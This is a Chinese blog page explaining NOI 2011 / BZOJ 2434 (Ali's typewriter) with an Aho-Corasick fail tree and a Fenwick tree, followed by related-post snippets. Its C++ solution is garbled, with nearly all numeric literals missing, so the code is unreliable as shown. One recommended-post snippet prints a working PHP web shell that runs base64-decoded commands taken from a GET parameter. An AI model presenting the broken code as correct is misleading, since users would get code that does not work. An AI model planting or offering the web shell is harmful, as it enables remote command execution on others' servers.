传送门

AC自动机 + 树状数组

建成AC自动机后,设end[i]为第i个串的末尾在Trie树上的节点。

可以发现,对于一个询问(x,y),ans等于Trie树上root到end[y]这条链上fail指针指向end[x]的节点数,我们把这些点记为特殊点

因为Trie树上每个节点fail指针仅指向一个值,

因此可以将fail指针反转构建一棵树,以下称为fail树。

于此答案可以等价于在fail树上以end[x]为根的子树中存在的特殊点个数。

然而这样暴力做还是过不了。于是需要一些优化。

可以知道将一个树的节点按dfs序排列后,

树的任意一颗子树的节点在序列中都是连续的一段区间。

我们把特殊的点记为1,非特殊点记为0,

于是求某子树上的特殊点个数可以转化成求某区间的和,

于是就可以用树状数组来优化了。(线段树应该也可以吧,不过似乎会比较麻烦)。

代码:

 #include<cstdio>
#include<queue>
#include<algorithm>
#include<cstring> using namespace std; #define N ((1<<17)-1)
#define M ((1<<17)-1)
#define lowbit(x) ((x)&(-(x))) queue<int>q;
char s[N];
int end[N],n; struct ACA
{
int cnt;
int fa[N],son[N][],fail[N];
void get_trie()
{
cnt=;
int i,now=,v,p=;
for (i=;i<n;i++)
switch(s[i])
{
case 'P':{end[++p]=now;break;}
case 'B':{now=fa[now];break;}
default:
{
v=s[i]-'a';
if (!son[now][v])
{
son[now][v]=++cnt;
fa[cnt]=now;
}
now=son[now][v];
}
}
for (i=;i<;i++) son[][i]=;
}
void get_fail()
{
int i,j,x;
q.push();
while (!q.empty())
{
x=q.front(),q.pop();
for (i=;i<;i++)
if (son[x][i])
{
for (j=fail[x];j&&!son[j][i];j=fail[j]);
fail[son[x][i]]=son[j][i];
q.push(son[x][i]);
}
}
}
}aca; struct BIT
{
int arr[N],l[N],r[N];
int sum(int i)
{
int re=;
while (i)
{re+=arr[i];i-=lowbit(i);}
return re;
}
void add(int i,int k)
{
while (i<=aca.cnt)
{arr[i]+=k;i+=lowbit(i);}
}
}bit; struct Tree
{
vector<vector<int> >son;
void addedge(int u,int v)
{
son[u].push_back(v);
}
void build()
{
son.resize(aca.cnt+);
for (int i=;i<=aca.cnt;i++)
addedge(aca.fail[i],i);
}
void dfs_order(int x,int &k)
{
bit.l[x]=bit.r[x]=k++;
for (int i=;i<son[x].size();i++)
{
dfs_order(son[x][i],k);
bit.r[x]=max(bit.r[x],bit.r[son[x][i]]);
}
}
}tree; int x[M],ans[M],pre[N],now[N]; inline int val(int x)
{
return bit.sum(bit.r[x])-bit.sum(bit.l[x]-);
} void answer()
{
int m,i,j,y,v,p;
scanf("%d",&m);
memset(now,,sizeof(now));
for (i=;i<=m;i++)
{
scanf("%d%d",&x[i],&y);
x[i]=end[x[i]];
y=end[y];
pre[i]=now[y];
now[y]=i;
}
for (p=,i=;i<n;i++)
{
switch(s[i])
{
case 'P':
{
for (j=now[p];j;j=pre[j])
ans[j]=val(x[j]);
break;
}
case 'B':
{
bit.add(bit.l[p],-);
p=aca.fa[p];
break;
}
default:
{
v=s[i]-'a';
p=aca.son[p][v];
bit.add(bit.l[p],);
}
}
}
for (i=;i<=m;i++)
printf("%d\n",ans[i]);
} int main()
{
scanf("%s",s);
n=strlen(s);
aca.get_trie();
aca.get_fail();
tree.build();
int k=;
tree.dfs_order(,k);
answer();
}

[NOI 2011][BZOJ 2434] 阿狸的打字机的更多相关文章

  1. AC自动机:BZOJ 2434 阿狸的打字机

    2434: [Noi2011]阿狸的打字机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 1834  Solved: 1053[Submit][Sta ...

  2. bzoj 2434 阿狸的打字机 - Aho-Corasick自动机 - 树状数组

    题目传送门 传送站I 传送站II 题目大意 阿狸有一个打字机,它有3种键: 向缓冲区追加小写字母 P:打印当前缓冲区(缓冲区不变) B:删除缓冲区中最后一个字符 然后多次询问第$x$个被打印出来的串在 ...

  3. BZOJ 2434 阿狸的打字机(fail树)

    题目链接:http://61.187.179.132/JudgeOnline/problem.php?id=2434 题意:阿狸喜欢收藏各种稀奇古怪的东西,最近他淘到一台老式的打字机.打字机上只有28 ...

  4. BZOJ 2434 阿狸的打字机

    http://www.lydsy.com/JudgeOnline/problem.php?id=2434 思路:建立fail树,并找出dfs序,那剩下要做的就是每次找到一个串的位置,然后询问它的区间里 ...

  5. bzoj 2434: 阿狸的打字机 fail树+离线树状数组

    题目大意: http://www.lydsy.com/JudgeOnline/problem.php?id=2434 题解: 首先我们可以发现这个打字的过程本身就是在Trie上滚来滚去的过程 所以我们 ...

  6. bzoj 2434 阿狸的打字机 fail树的性质

    如果a串是另b串的后缀,那么在trie图上沿着b的fail指针走一定可以走到a串. 而a串在b串里出现多少次就是它是多少个前缀的后缀. 所以把fail边反向建树维护个dfs序就行了. 并不是很难... ...

  7. BZOJ 2434 阿狸的打字机 | AC自动机

    题目戳这里 AC自动机上有神奇的东西叫做fail指针--所有fail指针连起来恰好构成一棵以1为根的树! 而这道题问x在y中出现过多少次,就是问Trie树上根到y的结束节点的路径上有多少节点能通过跳f ...

  8. BZOJ 2434 阿狸的打字机(ac自动机+dfs序+树状数组)

    题意 给你一些串,还有一些询问 问你第x个串在第y个串中出现了多少次 思路 对这些串建ac自动机 根据fail树的性质:若x节点是trie中root到t任意一个节点的fail树的祖先,那么x一定是y的 ...

  9. 【BZOJ】【2434】【NOI2011】阿狸的打字机

    AC自动机+DFS序+BIT 好题啊……orz PoPoQQQ 大爷 一道相似的题目:[BZOJ][3172][TJOI2013]单词 那道题也是在fail树上数有多少个点,只不过这题是在x的fail ...

随机推荐

  1. (转)matlab练习程序(HOG方向梯度直方图)

    matlab练习程序(HOG方向梯度直方图)http://www.cnblogs.com/tiandsp/archive/2013/05/24/3097503.html HOG(Histogram o ...

  2. H题 hdu 2520 我是菜鸟,我怕谁

    题目大意:http://acm.hdu.edu.cn/showproblem.php?pid=2520 我是菜鸟,我怕谁 Time Limit: 2000/1000 MS (Java/Others)  ...

  3. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  4. Centos_Lvm expand capacity without restarting CentOS

    Rescan the new disk(/dev/sdb): #ls /sys/class/scsi_host/ host0 host1 host2 [root@db210_13:56:14 /dat ...

  5. abp 调试

    概要 研究Abp(ASP.NET Boilerplate)框架有几个月了,从一遍遍的看官方文档,到现在看源码,一路走来学习了很多知识. 很多新手都很关心源码如何调试,我也是如此,在反复看Debuggi ...

  6. jstorm相关

    https://www.cnblogs.com/antispam/p/4182210.html

  7. 【bzoj1649】Cow Roller Coaster

    傻逼dp题. dp[i][j]表示用了i长度已花费成本j所能得到的价值. 然后枚举一下铁轨随便做了. 不行就sort一下. #include<bits/stdc++.h> #define ...

  8. 2017中国大学生程序设计竞赛 - 网络选拔赛 HDU 6156 数位DP

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6156 题意:如题. 解法:数位DP,暴力枚举进制之后,就转化成了求L,R区间的回文数的个数,这个直接做 ...

  9. 关于eclipase出现的problems during content assist报错问题

    解决办法: 把下面箭头指的地方改为上面箭头的指向

  10. form表单 datalist 和legend

    <form action="" method="post" > <fieldset> <legend> 表单元素 </ ...